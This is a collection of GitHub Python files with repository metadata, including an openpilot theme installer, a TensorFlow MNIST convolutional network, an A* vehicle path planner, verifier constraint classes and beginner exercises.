need it...\n selected_option_list.remove(\"-Reboot-\") #Pop Reboot out so we can\n selected_option_list.append(\"-Reboot-\") #Put it on the end!\n if \"-Quit-\" in selected_option_list: #If Quit is selected remove Main Menu, and ensure its at the end \n if \"-Main Menu-\" in selected_option_list: selected_option_list.remove(\"-Main Menu-\") #Remove Main Menu as we dont need it...\n selected_option_list.remove(\"-Quit-\") #Pop Quit out so we can\n selected_option_list.append(\"-Quit-\") #Put it on the end!\n if \"-Main Menu-\" in selected_option_list: #If Main Menu is Selected ensure its at the end\n selected_option_list.remove(\"-Main Menu-\") #Pop Quit out so we can\n selected_option_list.append(\"-Main Menu-\") #Put it on the end!\n\n DebugPrint(\"Selected Options: \", multi=selected_option_list)\n\n for z in range(len(selected_option_list)):\n #Main logic\n if selected_option_list[z] == 'Boot Logo':\n #Confirm user wants to install bootlogo\n print('\\n*\\nSelected to install the {} Boot Logo. Continue?'.format(self.selected_theme))\n if not is_affirmative():\n print('Not installing...')\n time.sleep(1.5)\n continue\n\n print('\\nPlease wait....')\n\n #Check if there was an Boot logo backup already this session to prevent accidental overwrites\n #Returns true if okay to proceed. Gets self.backup_dir & asset type name\n if backup_overide_check(self.backup_dir, DeviceData[\"BOOT_LOGO_NAME\"]) == True:\n break\n\n #Backup & install new\n install_from_path = ('{}/{}/{}'.format(CONTRIB_THEMES, self.selected_theme, DeviceData[\"BOOT_LOGO_THEME_PATH\"]))\n if Dev_DoInstall():\n INSTALL_BOOT_LOGO(DeviceData, self.backup_dir, install_from_path)\n mark_self_installed() # Create flag in /sdcard so auto installer knows there is a self installation\n print('Press enter to continue!')\n input()\n elif selected_option_list[z] == 'OpenPilot Spinner':\n ##Confirm user wants to install Spinner\n print('\\n*\\nSelected to install the {} OP Spinner. Continue?'.format(self.selected_theme))\n if not is_affirmative():\n continue\n\n ##Check if there was a spinner backup already this session to prevent accidental overwrites\n #Returns false if okay to proceed. Gets self.backup_dir & asset type name\n if backup_overide_check(self.backup_dir, 'spinner') == True:\n break\n\n #Gets OpenPilot Location and Version\n OP_INFO = get_OP_Ver_Loc()\n DebugPrint(\"Got OP Location: {} and Version 0.{}\".format(OP_INFO[\"OP_Location\"], OP_INFO[\"OP_Version\"]))\n\n #Backup & Install\n install_from_path = (\"{}/{}/spinner\".format(CONTRIB_THEMES, self.selected_theme))\n #Function to ask before installing for use in dev to not screw up my computer, and test logic\n if Dev_DoInstall():\n INSTALL_QT_SPINNER(self.backup_dir, OP_INFO, install_from_path)\n mark_self_installed() # Create flag in /sdcard so auto installer knows there is a self installation\n print('Press enter to continue!')\n input()\n elif selected_option_list[z] == '-Main Menu-' or selected_option_list[z] is None:\n return\n elif selected_option_list[z] == '-Reboot-':\n REBOOT()\n exit()\n elif selected_option_list[z] == '-Quit-':\n QUIT_PROG()\n elif selected_option_list[z] in VALID_BOOT_ANIMATIONS:\n #Confirm user wants to install bootlogo\n print('\\n*\\nSelected to install the {} {}. Continue?'.format(self.selected_theme, selected_option_list[z]))\n if not is_affirmative():\n continue\n \n #Check if there was a boot ani backup already this session to prevent accidental overwrites\n #Returns true if okay to proceed. Gets self.backup_dir & asset type name\n if backup_overide_check(self.backup_dir, 'bootanimation.zip') == True:\n break\n\n #Set bootAniColor based off the selected option - if 'white_', 'color_', or standard bootanimation \n if selected_option_list[z] == 'Boot Animation':\n bootAniColor = ''\n elif selected_option_list[z] == 'Color Boot Animation':\n bootAniColor = 'color_'\n elif selected_option_list[z] == 'White Boot Animation':\n bootAniColor = 'white_'\n\n #Backup And install new bootanimation\n install_from_path = ('{}/{}'.format(CONTRIB_THEMES, self.selected_theme))\n if Dev_DoInstall():\n INSTALL_BOOTANIMATION(self.backup_dir, install_from_path, bootAniColor)\n mark_self_installed() # Create flag in /sdcard so auto installer knows there is a self installation\n print('Press enter to continue!')\n input() \n\nif __name__ == '__main__':\n ti = ThemeInstaller()\n","repo_name":"Coltonton/eon-custom-themes","sub_path":"theme_install.py","file_name":"theme_install.py","file_ext":"py","file_size_in_byte":18067,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"31"} +{"seq_id":"5535875412","text":"#!/usr/bin/env python3\n\n# This file is part of ODM and distributed under the terms of the\n# MIT license. See COPYING.\n\nimport os\n\nimport pypandoc\n\nimport odm.cli\nfrom odm.boxnote import BoxNote\n\n\ndef main():\n cli = odm.cli.CLI(['boxnote', 'format'], client='box')\n\n note = BoxNote(cli.args.boxnote, cli.client)\n text = note.convert()\n\n outfile = '{}.{}'.format(cli.args.boxnote, cli.args.format)\n cssfile = os.path.join(os.path.dirname(__file__), '../boxnote.css')\n\n dformat = cli.args.format\n if dformat == 'pdf':\n # PDF output is special and is triggered by the .pdf file extension\n # and the use of a specific intermediate format or an explicit PDF\n # engine. wkhtmltopdf was the first one I tried that didn't choke\n # and die, so that's the one we're asking for.\n dformat = 'html'\n\n pypandoc.convert_text(\n text,\n dformat,\n format='json',\n outputfile=outfile,\n extra_args=[\n '-s',\n '-H', cssfile,\n ],\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"UMCollab/ODM","sub_path":"odm/libexec/bm_note.py","file_name":"bm_note.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35330369212","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'yaoqijun'\n__mail__ = 'yaoqijunmail@foxmail.com'\n\n'''\ndescription: 图片对应的 block 内容的写入方式\n'''\n\nfrom PIL import Image\n\n# 中心 o(375, 590)\n\no = (375, 590)\nr = 99\nPX = o[0] - r\nPY = o[1] - r\na = 2 * r\n\n# PX = 305 # x 轴位置\n# PY = 520 # y 轴位置\n# a = 140 # 边长\nPXE = PX + a\nPYE = PY + a\n\n\ndef draw_block():\n img = Image.open('static/test.jpg')\n # print img.size\n pim = img.load()\n for x in range(PX, PXE + 1):\n for y in range(PY, PYE + 1):\n pim[x, y] = (0, 0, 0)\n img.save('static/test_lt.jpg')\n\n\ndef draw_test_block():\n img = Image.open('static/bir_origin.png')\n pim = img.load()\n for x in range(PX, PXE + 1):\n for y in range(PY, PYE + 1):\n pim[x, y] = (0, 0, 0)\n img.save('static/bir_origin_test.png')\n\n\nif __name__ == '__main__':\n draw_test_block()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"LiveAlone/pythonDemo","sub_path":"2.7-libs/pillow/test_block_draw.py","file_name":"test_block_draw.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6163554552","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # Recursive\n def inorderTraversal(self, root: TreeNode) -> List[int]:\n if not root:\n return []\n \n return self.inorderTraversal(root.left) + [root.val] + self.inorderTraversal(root.right)\n \n # Iterative\n def inorderTraversal(self, root: TreeNode) -> List[int]:\n visited, stack, curr = [], [], root\n \n while stack or curr:\n while curr:\n stack.append(curr)\n curr = curr.left\n \n curr = stack.pop()\n visited.append(curr.val)\n curr = curr.right\n\n return visited\n","repo_name":"nionata/Algorithms","sub_path":"graphs/inorderTraversal.py","file_name":"inorderTraversal.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"40176062497","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nmnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n\ninput_size = 784\nnodes_hl1 = 200\nnodes_hl2 = 200\nnodes_hl3 = 200\nn_classes = 10\nhm_epochs = 10\n\nbatch_size = 100\n\nx = tf.placeholder('float', [None, input_size])\ny = tf.placeholder('float', [None, n_classes])\n\ndef conv2d(data, W):\n return tf.nn.conv2d(data, W, strides=[1,1,1,1], padding='SAME')\n\n\ndef maxpool2d(data):\n return tf.nn.max_pool(data, ksize=[1,2,2,1], strides=[1,2,2,1], padding='SAME')\n\n\ndef network_model(data):\n weights = {\n # 5x5 convolution, 1 input image, 32 outputs\n 'conv1': tf.Variable(tf.random_normal([5, 5, 1, 32])),\n 'conv2': tf.Variable(tf.random_normal([5, 5, 32, 64])),\n 'fc': tf.Variable(tf.random_normal([7*7*64, 1024])),\n 'out': tf.Variable(tf.random_normal([1024, n_classes]))\n }\n\n biases = {\n 'conv1': tf.Variable(tf.random_normal([32])),\n 'conv2': tf.Variable(tf.random_normal([64])),\n 'fc': tf.Variable(tf.random_normal([1024])),\n 'out': tf.Variable(tf.random_normal([n_classes]))\n }\n\n # Reshape input to a 4D tensor\n data = tf.reshape(data, shape=[-1, 28, 28, 1])\n # Convolution layer\n conv1 = tf.nn.relu(conv2d(data, weights['conv1'])+biases['conv1'])\n conv1 = maxpool2d(conv1)\n # Convolution layer\n conv2 = tf.nn.relu(conv2d(conv1, weights['conv2'])+biases['conv2'])\n conv2 = maxpool2d(conv2)\n # Fully connected layer\n fc = tf.reshape(conv2, [-1, 7*7*64])\n fc = tf.nn.relu(tf.matmul(fc, weights['fc']+biases['fc']))\n # Output layer\n output = tf.matmul(fc, weights['out'])+biases['out']\n\n return output\n\n\ndef train_network(data):\n prediction = network_model(data)\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=y, logits=prediction))\n optimizer = tf.train.AdamOptimizer().minimize(cost)\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for epoch in range(hm_epochs):\n epoch_loss = 0\n for _ in range(int(mnist.train.num_examples/batch_size)):\n epoch_x, epoch_y = mnist.train.next_batch(batch_size)\n _, c = sess.run([optimizer, cost], feed_dict={x: epoch_x, y: epoch_y})\n epoch_loss += c\n print('Epoch', epoch, 'completed out of', hm_epochs, 'loss:', epoch_loss)\n \n correct = tf.equal(tf.argmax(prediction, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct, 'float'))\n batch_tx, batch_ty = mnist.test.next_batch(2000)\n print('Accuracy:', accuracy.eval(feed_dict={x: batch_tx, y: batch_ty}))\n\nif __name__ == '__main__':\n train_network(x)\n","repo_name":"Misantonio/deep_learning","sub_path":"sentdex_TF/conv_net.py","file_name":"conv_net.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26187005330","text":"from queue import PriorityQueue\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom collections import deque\n\n\nclass algorithm:\n def __init__(self,id,goal_region: tuple,start: list,timestep,obst_pos: list):\n self.id = id # id is unique to each vehicle (1,2,3)\n self.start = start\n self.goal_region = goal_region # goal location\n self.timestep = timestep\n self.obst_pos = obst_pos # List of all the obstacle positions and their lengths\n \n # We round the vehicle states to keep the calculations simple \n def delivery_robot(self,state,ul,ur):\n # Performing the update\n # state = [x, y, theta] \n q_new = []\n q_new.append(round(state[0] + (0.5/2)*(ul+ur)*math.cos(round(state[2] + (0.5/2)*(ur-ul)*self.timestep,1))*self.timestep,2))\n q_new.append(round(state[1] + (0.5/2)*(ul+ur)*math.sin(round(state[2] + (0.5/2)*(ur-ul)*self.timestep,1))*self.timestep,2))\n q_new.append(round(state[2] + (0.5/2)*(ur-ul)*self.timestep,1))\n return q_new\n def car(self,state,v,omega):\n # Performing the update\n # state = [x, y, theta, delta]\n q_new = [] \n q_new.append(round(state[0] + v*math.cos(round(state[2] + v*(math.tan(round(state[3] + omega*self.timestep,1))/2.8)*self.timestep,1))*self.timestep,2))\n q_new.append(round(state[1] + v*math.sin(round(state[2] + v*(math.tan(round(state[3] + omega*self.timestep,1))/2.8)*self.timestep,1))*self.timestep,2))\n q_new.append(round(state[2] + v*(math.tan(round(state[3] + omega*self.timestep,1))/2.8)*self.timestep,1))\n q_new.append(round(state[3] + omega*self.timestep,1))\n return q_new\n def truck(self,state,v,omega):\n # Performing the update\n # state = [x, y, theta0, phi, theta1] \n q_new = []\n q_new.append(round(state[0] + v*math.cos(round(state[2] + v*(math.tan(round(state[3] + omega*self.timestep,1))/3)*self.timestep,1))*self.timestep,2))\n q_new.append(round(state[1] + v*math.sin(round(state[2] + v*(math.tan(round(state[3] + omega*self.timestep,1))/3)*self.timestep,1))*self.timestep,2))\n q_new.append(round(state[2] + v*(math.tan(round(state[3] + omega*self.timestep,1))/3)*self.timestep,1))\n q_new.append(round(state[3] + omega*self.timestep,1))\n q_new.append(round(state[4] + v*(math.sin(round(state[2] + v*(math.tan(round(state[3] + omega*self.timestep,1))/3)*self.timestep,1)-state[4])/5)*self.timestep,1))\n return q_new\n\n def astar(self):\n start = self.start\n obst_boundary = self.obst_pos\n goal_region = self.goal_region\n \n # Action/control input set for different vehicles \n if self.id == 1:\n action_inputs = [(10,10),(10,-10),(10,0),(-10,0),(0,10),(0,-10),(0,0)]\n elif self.id == 2 or self.id == 3:\n action_inputs = [(10,2),(-10,2),(10,-2),(-10,-2),(10,0.5),(-10,0.5),(10,-0.5),(-10,-0.5),(10,0),(-10,0),(0,0)]\n search_tree = {}\n \n # Priority queue helps us in choosing the next node with least distance cost\n queue = PriorityQueue()\n g = {}\n dist = {} #this is the total cost function that adds up all the costs \n # prev dict keeps track of parent node for each node\n prev = {}\n visited = [] # this list contains the list of all visited nodes\n # The start node distance from iteself is set to 0 and added to queue\n g[tuple(start)] = 0\n # Initial cost function accoring to the vehicle type.\n if self.id == 1:\n dist[tuple(start)] = 1*g[tuple(start)] + 3*math.hypot((goal_region[0]-start[0]),(goal_region[1]-start[1]))+abs(start[2])\n elif self.id == 2 or self.id == 3:\n dist[tuple(start)] = 1*g[tuple(start)] + 3*math.hypot((goal_region[0]-start[0]),(goal_region[1]-start[1]))+abs(start[2])+0*start[3]\n queue.put((dist[tuple(start)], start))\n\n while (not queue.empty()) and len(search_tree)<50000:\n # Remove the vertex with least distance from the queue\n current_vertex = queue.get()[-1]\n search_tree[tuple(current_vertex)] = []\n \n # Check if we are in the goal region\n if goal_region[0]-0.5<=current_vertex[0]<=goal_region[0]+0.5 and goal_region[1]-0.5<=current_vertex[1]<=goal_region[1]+0.5:\n visited.append(current_vertex)\n break\n # If the current vertex or node is already visited we move on\n if current_vertex in visited:\n pass\n else:\n #Increasing the action inputs as we approach the goal\n if math.hypot((goal_region[0]-current_vertex[0]),(goal_region[1]-current_vertex[1]))<20: \n if self.id == 1:\n action_inputs = [(10,10),(10,-10),(10,0),(-10,0),(0,10),(0,-10),(0,0),(10,5),(10,-5),(-10,-5),(-10,5),(5,5)]\n elif self.id == 2 or self.id == 3:\n action_inputs = [(10,2),(-10,2),(10,-2),(-10,-2),(10,0.5),(-10,0.5),(10,-0.5),(-10,-0.5),(10,0),(-10,0),(0,0)\\\n ,(5,2),(-5,2),(5,-2),(-5,-2),(5,0.5),(-5,0.5),(5,-0.5),(-5,-0.5),(5,0),(-5,0)\\\n ,(5,0.1),(-5,0.1),(5,-0.1),(-5,-0.1),(5,1),(-5,1),(5,-1),(-5,-1),(5,1.5),(-5,1.5)]\n \n # Add the current vertex to list of visited nodes\n visited.append(current_vertex)\n\n for action in action_inputs:\n # Get the new vehicle state/node for each vehicle type\n if self.id == 1:\n q_new = self.delivery_robot(current_vertex,action[0],action[1])\n elif self.id == 2:\n q_new = self.car(current_vertex,action[0],action[1])\n elif self.id == 3:\n q_new = self.truck(current_vertex,action[0],action[1])\n \n \n # Checking if the new state of the vehicle collides with an obstacle\n if (not (obst_boundary[0][0]-20<=q_new[0]<=obst_boundary[0][0]+obst_boundary[0][2] and \\\n obst_boundary[0][1]<=q_new[1]<=obst_boundary[0][1]+obst_boundary[0][3])) and \\\n (not (obst_boundary[0][0]-10<=q_new[0]+30*math.cos(q_new[2])<=obst_boundary[0][0]+obst_boundary[0][2]\\\n and obst_boundary[0][1]<=q_new[1]+30*math.sin(q_new[2])<=obst_boundary[0][1]+obst_boundary[0][3])) and \\\n (not (obst_boundary[1][0]<=q_new[0]<=obst_boundary[1][0]+obst_boundary[1][2]\\\n and obst_boundary[1][1]<=q_new[1]<=obst_boundary[1][1]+obst_boundary[1][3]+10)) and \\\n (not (obst_boundary[1][0]<=q_new[0]+30*math.cos(q_new[2])<=obst_boundary[1][0]+obst_boundary[1][2]\\\n and obst_boundary[1][1]<=q_new[1]+30*math.sin(q_new[2])<=obst_boundary[1][1]+obst_boundary[1][3])) and \\\n (not (obst_boundary[2][0]<=q_new[0]<=obst_boundary[2][0]+obst_boundary[2][2]\\\n and obst_boundary[2][1]<=q_new[1]<=obst_boundary[2][1]+obst_boundary[2][3]+5)) and\\\n (not (obst_boundary[2][0]<=q_new[0]+30*math.cos(q_new[2])<=obst_boundary[2][0]+obst_boundary[2][2]\\\n and obst_boundary[2][1]<=q_new[1]+30*math.sin(q_new[2])<=obst_boundary[2][1]+obst_boundary[2][3])):\n # If the new state is already visited we pass\n if q_new in visited:\n pass\n else:\n # the new state costs are calculated depending on the vehicle type and the state is added to the queue\n search_tree[tuple(current_vertex)].append(q_new)\n g[tuple(q_new)] = g[tuple(current_vertex)] + math.hypot((q_new[0]-current_vertex[0]),(q_new[1]-current_vertex[1]))\n h = math.hypot((goal_region[0]-q_new[0]),(goal_region[1]-q_new[1]))\n if self.id == 1:\n dist[tuple(q_new)] = 2*g[tuple(q_new)] + 3*h + 1*(abs(q_new[2]-current_vertex[2]))+1*(abs(q_new[2])) \n elif self.id == 2:\n dist[tuple(q_new)] = 2*g[tuple(q_new)] + 3*h + 0*(abs(q_new[2]-current_vertex[2])%(2*math.pi))+2*(abs(q_new[2]))+0*(abs(q_new[3]-current_vertex[3]))\n elif self.id == 3:\n dist[tuple(q_new)] = 2*g[tuple(q_new)] + 3*h + 0*(abs(q_new[2]-current_vertex[2])%(2*math.pi))+0*(abs(q_new[2]))+0*(abs(q_new[3]-current_vertex[3]))\n queue.put((dist[tuple(q_new)],q_new))\n prev[tuple(np.array(q_new))] = current_vertex\n \n last_config = visited[-1]\n last_position = (last_config[0],last_config[1])\n # We will check if the search is a success or failure\n if goal_region[0]-0.5<=last_position[0]<=goal_region[0]+0.5 and goal_region[1]-0.5<=last_position[1]<=goal_region[1]+0.5:\n \n print(\"Successfully reached the goal\")\n else:\n print(\"No path to the goal is found\")\n\n final_path = deque() \n print(\"number of visited/searched configurations\",len(visited))\n print(last_config)\n # Using while loop we traverse back to start location by looking up the parent for\n # each node starting from the goal location.\n while last_config != start:\n next_config = prev[tuple(last_config)]\n final_path.append(next_config)\n last_config = next_config\n print(\"Number of configurations to the final path is\",len(final_path))\n # The output final path contains the path from start to goal in reverse order.\n return visited, final_path\n \n def plot_vehicle(self,x,y,theta,ax):\n car_struct = np.array([[15,5],[15,-5],[-15,-5],[-15,5]])\n Rot = np.array([[np.cos(theta),-np.sin(theta)],[np.sin(theta),np.cos(theta)]])\n rotated_car = np.transpose(np.dot(Rot,car_struct.T))\n rotated_car+=np.array([x+15*math.cos(theta),y+15*math.sin(theta)]) # Rear axle center formula\n rotated_car = np.vstack((rotated_car,rotated_car[0,:]))\n\n drawing = ax.fill(rotated_car[:,0], rotated_car[:,1],facecolor=\"green\", edgecolor='black')\n \n return drawing\n def plot_truck(self,x,y,theta0,theta1,ax):\n car_struct = np.array([[15,5],[15,-5],[-15,-5],[-15,5]])\n Rot_car = np.array([[np.cos(theta0),-np.sin(theta0)],[np.sin(theta0),np.cos(theta0)]])\n rotated_car = np.transpose(np.dot(Rot_car,car_struct.T))\n rotated_car+=np.array([x+15*math.cos(theta0),y+15*math.sin(theta0)])\n rotated_car = np.vstack((rotated_car,rotated_car[0,:]))\n\n trailer_struct = np.array([[15,5],[15,-5],[-15,-5],[-15,5]])\n Rot_trailer = np.array([[np.cos(theta1),-np.sin(theta1)],[np.sin(theta1),np.cos(theta1)]])\n rotated_trailer = np.transpose(np.dot(Rot_trailer,trailer_struct.T))\n # Both car and trailer are located at their respective rear axles\n rotated_trailer+=np.array([x-20*math.cos(theta1),y-20*math.sin(theta1)])\n rotated_trailer = np.vstack((rotated_trailer,rotated_trailer[0,:]))\n drawing_car = ax.fill(rotated_car[:,0], rotated_car[:,1],facecolor=\"green\", edgecolor='black')\n drawing_trailer = ax.fill(rotated_trailer[:,0], rotated_trailer[:,1],facecolor=\"yellow\", edgecolor='black')\n return drawing_car, drawing_trailer\n \n def simulate(self,ax):\n if self.id == 1:\n visited, path = self.astar()\n for i in path: # Plot the path of the vehicle\n plt.plot(i[0],i[1],'co--', markersize=1)\n for i in reversed(path):\n vehicle = self.plot_vehicle(i[0],i[1],i[2],ax)\n plt.draw()\n plt.pause(0.00001)\n for v in vehicle:\n v.remove()\n last_pos = path[0]\n last_vehicle = self.plot_vehicle(last_pos[0],last_pos[1],last_pos[2],ax)\n plt.draw()\n plt.show()\n elif self.id == 2:\n visited, path = self.astar()\n for i in path: # Plot the path of the vehicle\n plt.plot(i[0],i[1],'co--', markersize=1)\n for i in reversed(path):\n vehicle = self.plot_vehicle(i[0],i[1],i[2],ax)\n plt.draw()\n plt.pause(0.00001)\n for v in vehicle:\n v.remove()\n last_pos = path[0]\n last_vehicle = self.plot_vehicle(last_pos[0],last_pos[1],last_pos[2],ax)\n plt.draw()\n plt.show()\n elif self.id == 3:\n visited, path = self.astar()\n for i in path: # Plot the path of the vehicle\n plt.plot(i[0],i[1],'co--', markersize=1)\n for i in reversed(path):\n car, trailer = self.plot_truck(i[0],i[1],i[2],i[4],ax)\n plt.draw()\n plt.pause(0.00001)\n for c in car:\n c.remove()\n for t in trailer:\n t.remove()\n last_pos = path[0]\n last_car, last_trailer = self.plot_truck(last_pos[0],last_pos[1],last_pos[2],last_pos[4],ax)\n plt.draw()\n plt.show()\n ","repo_name":"Chaitanya-01/valet-rbe550","sub_path":"algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":13646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37070863861","text":"# Base types for MC interface\n# from enum import Enum\nimport numpy as np\nimport copy\n\nclass ConstraintType:\n type2str = {\n 'EQUALITY': \"=\",\n 'NOT_EQUAL': \"not=\",\n 'LESS_EQ': \"<=\",\n 'LESS' : \"<\",\n 'GREATER_EQ' : \">=\",\n 'GREATER' : \">\"\n }\n def __init__(self, type_):\n assert(type_ in self.type2str.keys())\n self._type = type_\n\n # note: __eq__ and __hash__ are required for making a dictionary where\n # the keys are of type ConstraintType\n def __eq__(self, other):\n return self._type == other._type\n\n def __hash__(self):\n return hash(self._type)\n\n def __repr__(self): \n return self.type2str[self._type]\n\nclass Monomial:\n def __init__(self, coeff, var):\n assert(np.isreal(coeff)) \n assert(isinstance(var, str))\n self.coeff = coeff\n self.var = var\n def __neg__(self):\n \"\"\"Unary negation\"\"\"\n return Monomial(-self.coeff, self.var)\n\n def __repr__(self):\n return str(self.coeff) + \"*'\" + str(self.var) + \"'\"\n\nclass AbstractConstraint:\n def __init__(self):\n self.type_complement = {\n ConstraintType('GREATER'): ConstraintType('LESS_EQ'),\n ConstraintType('LESS_EQ'): ConstraintType('GREATER'),\n ConstraintType('LESS'): ConstraintType('GREATER_EQ'),\n ConstraintType('GREATER_EQ'): ConstraintType('LESS'),\n ConstraintType('EQUALITY') : ConstraintType('NOT_EQUAL'),\n ConstraintType('NOT_EQUAL'): ConstraintType('EQUALITY')\n }\n\nclass Constraint(AbstractConstraint):\n def __init__(self, ctype: ConstraintType, monomials=[], scalar = 0):\n \"\"\"\n A class to represent linear constraints.\n sum_i(monomial_i) ConstraintType scalar\n e.g. 5x + 3y <= 0\n \"\"\"\n super().__init__()\n if isinstance(ctype, str):\n self.type = ConstraintType(ctype)\n elif isinstance(ctype, ConstraintType):\n self.type = ctype\n self.monomials = monomials \n self.scalar = scalar\n \n def complement(self):\n ccomp = Constraint(self.type_complement[self.type])\n ccomp.monomials = self.monomials\n ccomp.scalar = self.scalar\n return ccomp\n\n def get_geq(self):\n \"\"\"\n Return a equivalent version of this constraint with >=\n as the relational operator.\n \"\"\"\n geq_c = Constraint(ConstraintType('GREATER_EQ'))\n if self.type == ConstraintType('LESS_EQ'):\n # flip all coeff signs and scalar sign and change to >=\n geq_c.monomials = [-m for m in self.monomials]\n geq_c.scalar = -self.scalar\n elif self.type == ConstraintType('GREATER_EQ'):\n geq_c = copy.deepcopy(self)\n else: # asking for conversion from strict ineq to non-strict ineq\n # if complement, we want to go from e.g.\n # 5x + 6y < 6 \n # to 5x + 6y <= 6.001\n # if regular assertion (not inverted) we want to go from e.g.\n # 5x + 6y < 6\n # to 5x + 6y <= 5.999\n raise NotImplementedError\n \n return geq_c\n\n \n def __repr__(self):\n out = \"\"\n if len(self.monomials) > 0:\n first_m = self.monomials[0]\n out += str(first_m.coeff) + \"*\" + str(first_m.var)\n for i in range(1,len(self.monomials)):\n m = self.monomials[i]\n out += \" + \" + str(m.coeff) + \"*\" + str(m.var)\n out += \" \" + self.type.__repr__() + \" \"\n out += str(self.scalar)\n return out\n\nclass MatrixConstraint(AbstractConstraint):\n \"\"\"\n Akin to a Constraint, but for constraints of the form Ax R b,\n where R represents a relation such as =, >=, <=, >, <.\n @pre If dim(A) = (m,n), dim(x) = n , dim(b) = m \n \"\"\"\n def __init__(self, ctype: ConstraintType, A=np.zeros((0,0)), x = np.zeros((0,0)), b = np.zeros((0,0))):\n super().__init__()\n if isinstance(ctype, str):\n self.type = ConstraintType(ctype)\n elif isinstance(ctype, ConstraintType):\n self.type = ctype\n # assertions for the precondition\n assert(A.shape[1] == np.array(x).shape[0])\n assert(A.shape[0] == b.shape[0])\n self.A = A # contains real numbers\n self.x = x # contains variables. # when parsed from tf, will be numpy arrays.\n self.b = b # contains real numbers\n \n def complement(self):\n \"\"\" \n Return complement of this constraint as list in DNF.\n \"\"\"\n scalar_constraints = matrix_to_scalar(self)\n complements = []\n for c in scalar_constraints:\n complements.append(c.complement())\n return complements\n \n def __repr__(self):\n s = \"\\n\"\n s += \" {A: \" + np.array(self.A).__repr__() + \"\\n\" \n s += \" x: \" + np.array(self.x, dtype=object).__repr__() +\"\\n\"\n s += \" b: \" + np.array(self.b).__repr__() + \"}\\n\"\n return s\n\nclass ReluConstraint():\n \"\"\"\n varout = relu(varin)\n \"\"\"\n def __init__(self, varin=None, varout=None):\n self.varin = varin\n self.varout = varout\n def __repr__(self):\n return \"\\n\"\n\nclass MaxConstraint():\n \"\"\"\n varout = max(var1in, var2in)\n \"\"\"\n def __init__(self, varsin, varout):\n if len(varsin) > 2:\n raise NotImplementedError\n self.var1in = varsin[0]\n self.var2in = varsin[1]\n self.varout = varout\n def __repr__(self):\n return str(self.varout) + \" = max(\" + str(self.var1in) + \" , \" + str(self.var2in) + \")\"\n\n\ndef matrix_to_scalar(c : MatrixConstraint):\n \"\"\"\n Takes a MatrixConstraint and returns a list of Constraint s\n \"\"\"\n # form: Ax R b\n # for every row in A, add a Marabou 'equation'\n scalar_constraints = []\n for row in range(c.A.shape[0]):\n coefficients = c.A[row, :]\n scalar = c.b[row][0] # assumes 1D b\n # construct monomials list \n monomials = [Monomial(c,v) for c,v in zip(coefficients, c.x.flatten())]\n scalar_constraints.append(Constraint(c.type, monomials=monomials, scalar=scalar))\n return scalar_constraints\n\nclass NLConstraint(AbstractConstraint):\n def __init__(self, ctype: ConstraintType, out, fun, indep_var):\n \"\"\"\n A class to represent 1-D nonlinear unary constraints.\n ~~ out R fun(indep_var) ~~\n left is a variable string and right is a string holding a 1D nonlinear expression.\n e.g. out = \"x56\"\n fun = \"sin\"\n indep_var is the independent variable in the nonlinear expression.\n where R is a relation in the set: <, <=, >, >=, =\n together:\n x56 R sin(indep_var)\n \"\"\"\n super().__init__()\n if isinstance(ctype, str):\n self.type = ConstraintType(ctype)\n elif isinstance(ctype, ConstraintType):\n self.type = ctype\n self.out = out\n self.fun = fun\n self.indep_var = indep_var\n \n def complement(self):\n return NLConstraint(self.type_complement[self.type], self.left, self.right, self.indep_vars)\n \n def __repr__(self):\n s = \" x[1] else (x[1], x[0])\n for index in range(2, len(x)):\n if x[index] > m1:\n m2 = m1\n m1 = x[index]\n elif x[index] > m2:\n m2 = x[index]\n return m1, m2\n\n\n\"\"\"\n练习5:计算指定的年月日是这一年的第几天\n\"\"\"\n\ndef is_leap_year(year):\n \"\"\"\n 判断指定的年份是不是闰年\n\n :param year: 年份\n\n :return: 闰年返回True平年返回False\n \"\"\"\n return year % 4 == 0 and year % 100 != 0 or year % 400 == 0 # 这里注意 or 的优先级高于 and\n\n\ndef which_day(year, month, date):\n \"\"\"\n 计算传入的日期是这一年的第几天\n\n :param year: 年\n :param month: 月\n :param date: 日\n\n :return: 第几天\n \"\"\"\n days_of_month = [\n [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31],\n [31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n ][is_leap_year(year)] # 这里注意,通过 boolean 进行下标获取。False 为 0 True 为 1\n total = 0\n for index in range(month - 1):\n total += days_of_month[index] # 此时 total 为 传入 month 的前几个月的天数\n return total + date\n\nprint(which_day(1980, 11, 28))\nprint(which_day(1981, 12, 31))\nprint(which_day(2018, 1, 1))\nprint(which_day(2016, 3, 1))\n\n\"\"\"\n练习6:打印[杨辉三角](https://zh.wikipedia.org/wiki/%E6%9D%A8%E8%BE%89%E4%B8%89%E8%A7%92%E5%BD%A2)。\n\"\"\"\n\ndef ShowYangHuiTriangle():\n num = int(input('Number of rows: '))\n yh = [[]] * num # list 直接做乘法运算\n # print(yh)\n for row in range(len(yh)):\n print(row)\n yh[row] = [None] * (row + 1)\n for col in range(len(yh[row])):\n # 如果是 